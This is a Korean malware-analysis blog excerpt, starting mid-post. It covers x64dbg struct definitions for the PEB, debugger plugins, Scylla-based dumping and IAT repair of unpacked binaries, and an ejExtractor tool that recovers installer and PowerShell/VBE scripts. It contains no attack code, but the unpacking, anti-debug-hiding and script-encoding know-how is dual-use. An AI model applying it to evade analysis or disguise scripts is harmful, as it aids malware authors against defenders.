  이제 화면의 아랫 부분을 보면 "구조체" 탭을 볼 수 있다. 이곳을 선택하면 빈 화면을 볼 수 있다. 마우스 오른쪽 버튼을 클릭한 후 "방문 유형"을 선택한다. 팝업이 뜨면 방금 생성했던 구조체 struct_1을 입력한다. 이후 "방문할 주소"를 입력하라는 팝업이 뜬다. 그냥 취소할 경우에는 구조체의 형태를 확인할 수 있으며 특정 주소를 입력할 경우 그 주소를 기반으로 구조체 형태로 보여준다.


  예를들어 보겠다. 현재 나에게는 다음과 같은 정보가 있다.


--------------------------------------------------------------------------

0x002    BYTE  BeingDebugged;

0x008    void*  ImageBaseAddress;

0x00C    _PEB_LDR_DATA*  Ldr;

0x018    void*  ProcessHeap

0x064    DWORD  NumberOfProcessors;

0x068    DWORD  NtGlobalFlag;

--------------------------------------------------------------------------


  또한 프로그램을 디버거로 오픈한 후 EP에서 EBX 레지스터를 확인해 보면 PEB 구조체인 것을 알 수 있다. 지금까지 배운 것들을 이용해 PEB 구조체를 생성해 보자.


  앞에서 설명을 덜했는데 Addmember의 4번째 인자와 5번째 인자는 옵션이다. 4번째 인자는 배열일 경우 배열의 크기인데 배열의 크기가 2개이면 2를 넣고 하면 되지만 현재는 5번째 인자를 사용하기 위해 어쩔 수 없이 4번째 인자도 채워야 하는 상황이기에 이 값을 0으로 채운다. 5번째 인자는 시작 주소로부터의 오프셋이다.


  나의 경우 PEB의 모든 멤버를 파악하지 못했기 때문에 파악한 멤버만 적기 위해 이 값을 활용하기로 한다.


--------------------------------------------------------------------------

:  AddStruct  myPEB

:  AddMember  myPEB, byte, BeingDebugged, 0, 2

:  AddMember  myPEB, void*, ImageBaseAddress, 0, 8

:  AddMember  myPEB, int, Ldr, 0, c

:  AddMember  myPEB, void*, ProcessHeap, 0, 18

:  AddMember  myPEB, int, NumberOfProcessors, 0, 64

:  AddMember  myPEB, int, NtGlobalFlag, 0, 68

--------------------------------------------------------------------------


  이제 적용시켜 보면 직접 명시한 부분들이 깔끔하게 잘 나오는 것을 확인할 수 있다. 물론 앞에서도 말했듯이 휘발성이기 때문에 다음의 방식을 사용하는 것을 추천한다.



3.2 헤더 파일을 이용한 방식

  앞에서 했던 PEB 구조체를 헤더 파일로 만들어 보자. 크기가 워낙 크므로 멤버는 4개만 추가하기로 하며 빈 영역은 따로 이름을 붙여 주자.


--------------------------------------------------------------------------

struct myPEB {

int16  null1;

byte  BeingDebugged;

int8  null2;

int  null3;

void*  ImageBaseAddress;

int  Ldr;

int  null4;

int  null5;

void*  ProcessHeap;

};

--------------------------------------------------------------------------


  참고로 주석 이런거 다 없애고 위처럼 깔끔하게 (특히 타입 자료형에 주의해서) 만들어야 한다. 이후 "구조체" 창에서 마우스 오른쪽 버튼을 클릭한 후 "헤더 구문분석"을 선택하고 만든 헤더 파일을 선택한다. 이후 앞에서와 같이 방문 유형을 선택해서 적용시키면 된다. 타입 자료형에 주의하지 않거나 주석 같은 문자가 들어가면 제대로 파싱하지 못하기 때문에 주의해서 만들어야 한다. 개인적으로는 그냥 오리지널 헤더 파일을 넣으면 자동으로 구조체 부분만 파싱해서 인식했으면 좋겠다는 생각이 든다.



3.3 단점

  예를들어 TEB를 다음과 같이 선언했다고 하자.


--------------------------------------------------------------------------

struct TEB {

...

PEB*  PEB;

...

};

--------------------------------------------------------------------------


  이 경우 가장 좋은 방식은 PEB 구조체도 바로 보여주는 것이다. 하지만 아직까지는 이것을 보여주는 기능이 없다. 그렇기 때문에 다음과 같이 VisitType 명령어로 직접 하나씩 조사해야 한다.


--------------------------------------------------------------------------

:  VisitType  TEB, 003f8000

 VisitType  PEB, 003f5000

 VisitType  PEB_LDR_DATA, 77b17be0

 VisitType  Init_Module, 027c3900

 VisitType  Load_Module, 027c39f8

 VisitType  Memory_Module, 027c3a00

--------------------------------------------------------------------------


  만약 "PEB*  PEB;" 대신 "PEB  PEB;"와 같은 방식으로 선언한다면 멤버로서 구조체 자체가 들어있는 것으로 인식하기 때문에 맞는 결과를 볼 수 없다. 이렇게 포인터가 붙은 경우에는 값에 따라서 제대로 된 결과를 한 눈에 볼 수 있는 기능이 빨리 추가되었으면 좋겠다.





4. 플러그인

  플러그인 쪽 내용은 사실 잘 아는 사람들이 많아서 여기에서 도움이 될만한 내용이 많이 있을것 같지는 않지만 분석에 유용했던 것들 위주로 간단하게 정리하기로 하겠다.



4.1 Scylla

  디폴트로 존재하는 플러그인으로서 덤프를 뜨는데 사용할 수 있다. 참고로 덤프 뿐만 아니라 Import Table도 복구해줄 수 있다. 사용법은 다음 링크를 참고하자. [ http://sanseolab.tistory.com/73 ]



4.2 SwissArmyKnife

  많지는 않지만 뭔가 다양한 기능들이 있다. 유용하게 사용했던 기능은 map 파일을 임포트하는 기능이었다. 버그도 있어서 다음 링크에 [ http://sanseolab.tistory.com/53 ] 따로 정리하기도 했다. map 파일 외에도 sig 파일도 있고 하지만 그다지 유용해 보이지는 않는다. 그리고 Crypt 관련해서 AESFinder 등도 보이지만 이것도 그다지 유용해 보이지는 않는다.



4.3 x64dbgpy

  x64dbg에서 파이썬 스크립트를 사용할 수 있게 해주는 플러그인다. 단점이라면 Immunity Debugger처럼 명령줄 라인으로 명령어를 받지는 못하는 것으로 보이며 단지 파이썬 스크립트만 실행 가능한 것으로 보인다. 또 다른 단점은 32비트 버전인 x32dbg에서 사용하기 위해서는 32비트 파이썬을 설치해야 하며 64비트 버전인 x64dbg에서는 64비트의 파이썬을 설치해야 하는 것으로 보인다.



4.4 OllyDumpEx

  OllyDbg만의 플러그인으로 생각했었는데 x64dbg도 지원하며 잘 되서 좋다.



4.5 xAnalyzer

https://github.com/ThunderCls/xAnalyzer ]

  OllyDbg처럼 API 호출 이전에 파라미터를 달아준다. 버전이 잘 안맞아서인지 사용법을 몰라서인지는 모르겠지만 개인적으로 통하는 방식은 마우스 오른쪽 클릭 후 "xAnalyzer"를 선택하고 "Analyze Selection", "Analyze Function", "Analyze Executable" 중 하나를 선택하는 것이었다. "Analyze Executable"을 선택하면 조금 시간이 걸리지만 전체를 파악해주어서 좋지만 단점이 있다. 파라미터가 하드코딩되어 있는 값인 경우에는 잘 통하지만 레지스터인 경우에는 현재 레지스터를 기반으로 파라미터를 분석해 준다. 아마 이것이 가장 큰 단점이 아닌가 싶다. 또 "CALL ESI" 같은 형태의 호출은 바로 파악하지 못한다. (이건 실시간으로 분석해주는 기능이 없기 때문으로 보인다) 그래도 가끔은 파라미터의 Constant까지 파악해서 보여주는 경우도 있으므로 나쁘지 않다.



4.6 ScyllaHide

https://github.com/x64dbg/ScyllaHide ]

  Debugger Hiding, Timing Hooks, DRx Hiding 등의 여러 기능을 지원하는 것으로 보인다. 아직 제대로 사용해보지는 않았지만 정말 많은 기능을 지원한다. 후킹을 이용한 방식이라서 설정하기도 까다로워 보이며 업데이트가 끊긴 것으로 보인다. 사실 분석하는 입장에서 방해만 되는 것 같아서 사용할 생각은 없다.


'악성코드 분석' 카테고리의 다른 글

악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
디버거로 덤프 뜨기  (1) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
Posted by SanseoLab




  굳이 이것을 주제로 블로그에 글을 쓰는 것은 디버깅 중 덤프를 뜨는 것과 관련된 자료들이 대부분 오래된 것들이고 복잡하기도 하며 요즘에는 통하지 않는 경우도 많기 때문이다. 예를들어 요즘 공부하면서 디버거로 덤프를 떠보려고 한다면 가장 많은 자료를 확인할 수 있는 OllyDbg를 이용할 것이며 이와 관련된 LoadPE, ImportREC, OllyDump, OllyDumpEx 등과 관련된 자료를 찾아볼 것이다. 더 나아가 자료들 중에서 상당 수가 OllyDbg 1.x 기준이라는 것을 확인할 수 있을 것이고 얼마 되지 않는 OllyDbg 2.x 자료를 찾아봐야 할 것이다.



  x64dbg를 사용할 경우 디폴트로 존재하는 기본 플러그인 "Scylla"를 사용해서 쉽게 덤프를 뜰 수 있다. 물론 덤프 뿐만 아니라 Import Table 복구 등 모든 과정을 Scylla 하나로 간단하게 수행할 수 있다.



1. 언패킹 후 덤프를 뜨는 것이 목적이라면 먼저 OEP 까지 진입하자. 


2. 현재 EIP가 OEP에 위치한다면 플러그인 탭에서 Scylla를 선택한다. 


3. 중간 왼쪽 부분을 보면 현재 EIP 주소에 맞게 OEP가 자동으로 설정되어 있을테니 굳이 추가할 필요는 없고 바로 오른쪽을 보면 "IAT Autosearch"라는 버튼이 있다. 이것을 클릭한다. 클릭 후 두 개 정도의 확인 버튼이 팝업된다. 


4. 다음으로는 바로 아래의 버튼인 "Get Imports" 버튼을 클릭한다. 


5. 이후 오른쪽의 "Dump" 버튼을 클릭하면 덤프된 exe를 저장시킬 위치를 선택할 수 있다. 기본적으로 원본 exe 이름 뒤에 "_dump"라는 이름이 붙어서 저장되는 것을 볼 수 있을 것이다. 저장된 결과물은 간단하게 덤프한 것으로서 IAT가 복구되지 않아서 실행되지 않을 것이다. 


6. 이제 바로 아래의 "Fix Dump" 버튼을 클릭한다. 그리고 방금 전 저장했던 덤프한 exe 파일을 불러온다. 그러면 또 다른 실행 파일이 생성되며 (이름 뒤에 "_SCY"가 붙는다) 최종 결과물로서 실행까지 되는 것을 확인할 수 있다.



  이렇게 몇 번의 클릭 만으로 덤프 및 IAT 복구가 가능한데 검색하다 보면 수 많은 삽질들을 할 수 밖에 없는 방식들이 대부분이라서 굳이 블로그 글로 남기려고 한다. 원리를 아는 것도 중요하지만 결과도 그만큼 중요하기 때문에.



'악성코드 분석' 카테고리의 다른 글

TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
Posted by SanseoLab



1. 설명

2. 사용법

3. 옵션

4. TODO





[ https://github.com/SanseoLab/ejExtractor ]





1. 설명

  오토잇, 오토핫키처럼 스크립트를 바이너리로 생성하는 툴의 경우 exe를 직접 분석하는 것 보다는 원본 스크립트를 확인하는 것이 분석에 용이하다. 또한 InnoSetup, NSIS 등의 경우 내부의 바이너리 뿐만 아니라 설치 스크립트를 확인할 수 있을 떄 분석에 많은 도움이 된다.


  추가적으로 vbs/js의 경우 vbe/je라는 인코딩 방식이 지원되며, 파워셸의 경우 여러 인코딩 기법이 존재하는데 간단한 스크립트를 통해 쉽게 복호화가 가능하다.


  이 툴은 각각 따로 존재하는 툴들 및 스크립트들을 통합하고 커맨드라인 형태로 사용할 수 있게 하는 정리 및 자동화를 목적으로 만들게 되었다.



- Autoit : exe2aut를 사용한다.

- AutoHK : 버전 L의 경우 간단한 파이썬 스크립트를 사용하며, 버전 B의 경우 다음 링크의 툴을 사용한다. [ https://github.com/Kalamity/Exe2AhkPatched ]

- InnoSetup : innounp47.exe를 사용한다. 굳이 7z로 풀 수 있지만 installation script(.iss)도 추출할 수 있다는 장점이 있다.

- NSIS : 7z 버전 15.05를 사용한다. 이 버전은 installation script(.NSS)도 같이 추출해 준다.

- MSI : jsMSIx.exe를 사용한다. 이것은 설치될 경로에 맞게 파일들을 추출해줌과 동시에, 같은 폴더에 생성되는 "MSI Unpack.log" 파일을 통해 추가될 레지스트리도 확인할 수 있다.

- Powershell : 악성코드에서 주로 사용되는 Deflate, Gzip (+Base64) 및 SecureString으로 인코딩된 문자열을 복호화해 주며 동시에 반대로 인코딩도 지원한다.

- JSE / VBE : 다음 링크의 vbs 스크립트를 이용한다. [ https://gallery.technet.microsoft.com/Encode-and-Decode-a-VB-a480d74c ]





2. 사용법


> ejExtractor.py -[Option] [Path]


예시)

> ejExtractor.py -n C:\test.exe


파워셸 SecureString의 경우)

> ejExtractor.py -[Option] [Path] -key [key]

- ex) 

> ejExtractor.py -psd C:\test.txt -key 35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50





3. 옵션

- -h : Help

- -l : AutoHotKey version L

- -b : AutoHotKey version B

- -A : AutoIt 간단한 방식. 간단하게 Exe2Aut를 커맨드 라인 방식으로 사용한다.

- -a : AutoIt 다른 방식. 인코딩된 오토잇 스크립트를 추출하여 더미 바이너리에 붙인 후 이것을 Exe2Aut로 추출한다. 이유에 대해서는 다음 링크 참고. [ http://sanseolab.tistory.com/59 ]

- -i : InnoSetup

- -n : NSIS

- -m : MSI

- -pdd : Powershell Deflate Decode. 파워셸의 경우 인코딩 / 디코딩할 문자열은 파일로 저장한 후 인자로 준다.

- -pde : Powershell Deflate Encode

- -pgd : Powershell GZip Decode

- -pge : Powershell GZip Encode

- -psd : Powershell Secure String Decode. -key 옵션을 통해 추가적으로 키 값이 필요하다.

- -pse : Powershell Secure String Encode. -key 옵션을 통해 추가적으로 키 값이 필요하다.

- -jve : JS / VBS Encoding (to .jse or .vbe). 주의 : 결과로 나온 확장자는 항상 vbe이므로 만약 js를 인코딩한 경우에는 js 또는 jse로 수정하자.

- -jvd : JSE / VBE Decoding (to .js or .vbs). 주의 : 결과로 나온 확장자는 항상 vbs이므로 만약 jse를 디코딩한 경우에는 js로 수정하자.





4. TODO

  찾는 중...

'악성코드 분석' 카테고리의 다른 글

x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
윈도우의 서비스  (0) 2018.11.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (1) 2018.09.30
Posted by SanseoLab
이전버튼 1 이전버튼

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2018.12
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31

최근에 올라온 글

최근에 달린 댓글

글 보관함